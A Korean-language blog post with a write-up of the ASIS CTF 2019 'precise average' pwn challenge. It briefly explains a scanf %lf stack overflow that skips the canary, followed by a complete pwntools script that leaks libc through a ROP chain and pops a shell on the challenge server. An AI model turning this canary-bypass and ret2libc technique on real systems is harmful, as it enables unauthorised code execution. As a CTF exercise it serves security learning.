ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [ASIS 2019] precise average - pwn
    CTF 2019. 4. 22. 21:35

    중요한 것은 scanf로 %lf를 입력받는데, 이 과정에서 우리가 원하는 만큼 배열에 쓸 수 있어 오버플로우가 발생한다.

    또한 scanf 특성상 해당 포맷에 맞지 않는  데이터를 입력하면 데이터가 들어가지 않기 때문에 카나리를 바이패스하고 이후에 리턴 값을 덮어쓸 수 있다.

     

    from pwn import *
    from struct import *

    uf = lambda x : unpack("<d", x)[0]

    # p = process("./precise_avg.elf")
    p = remote("82.196.10.106",12499)
    # p = remote("172.16.167.173",12345)
    idx = 39 # ret
    print p.sendlineafter("Number of values:", str(idx))


    data = uf(p64(0x41414141))

    for i in range(0, 33):
    print i
    p.sendline(str(data))


    p.sendline(".")


    p.sendline(".")
    # p.sendline(str(uf(p64(0x601218))))



    poprdi = 0x00000000004009c3
    poprsir15 = 0x00000000004009c1
    printf = 0x400640
    puts = 0x400630
    bss = 0x601010
    scanf = 0x400660
    data = uf(p64(poprdi))

    p.sendline(str(data))

    data = uf(p64(0x600FC0))
    p.sendline(str(data))

    data = uf(p64(puts))
    p.sendline(str(data))

    data = uf(p64(0x4007d0)) # return to main
    p.sendline(str(data))


    print p.recvuntil("000000\n")

    leak = u64(p.recv(6).ljust(8,"\x00"))
    libc_base = leak - 0x064e80
    system = libc_base + 0x04f440

    binsh = libc_base + 0x1b3e9a

    print hex(leak)
    print hex(libc_base)


    idx = 42

    print p.sendlineafter("Number of values:", str(idx))

    data = uf(p64(0x41414141))

    for i in range(0, 33):
    print i
    p.sendline(str(data))


    p.sendline(".")


    p.sendline(".")



    pause()
    data = uf(p64(0x400958))
    p.sendline(str(data))

    data = uf(p64(0x400958))
    p.sendline(str(data))


    data = uf(p64(0x400958))
    p.sendline(str(data))




    data = "%.327lf" % uf(p64(poprdi))

    p.sendline(str(data))

    data = "%.327lf" % uf(p64(binsh))
    p.sendline(str(data))

    data = "%.327lf" % uf(p64(system))
    p.sendline(str(data))




    p.interactive()

    'CTF' 카테고리의 다른 글

    pwnable.tw - tcache_tear  (0) 2019.09.17
    pwnable.tw - Caov  (0) 2019.09.17
    TenDollar CTF 2018 - SandBox challenge 1~5  (2) 2018.11.25
    [Pwnable.tw] Kidding  (0) 2018.05.03
    pwnable.tw - babystack  (0) 2017.09.01

    댓글

Designed by Tistory.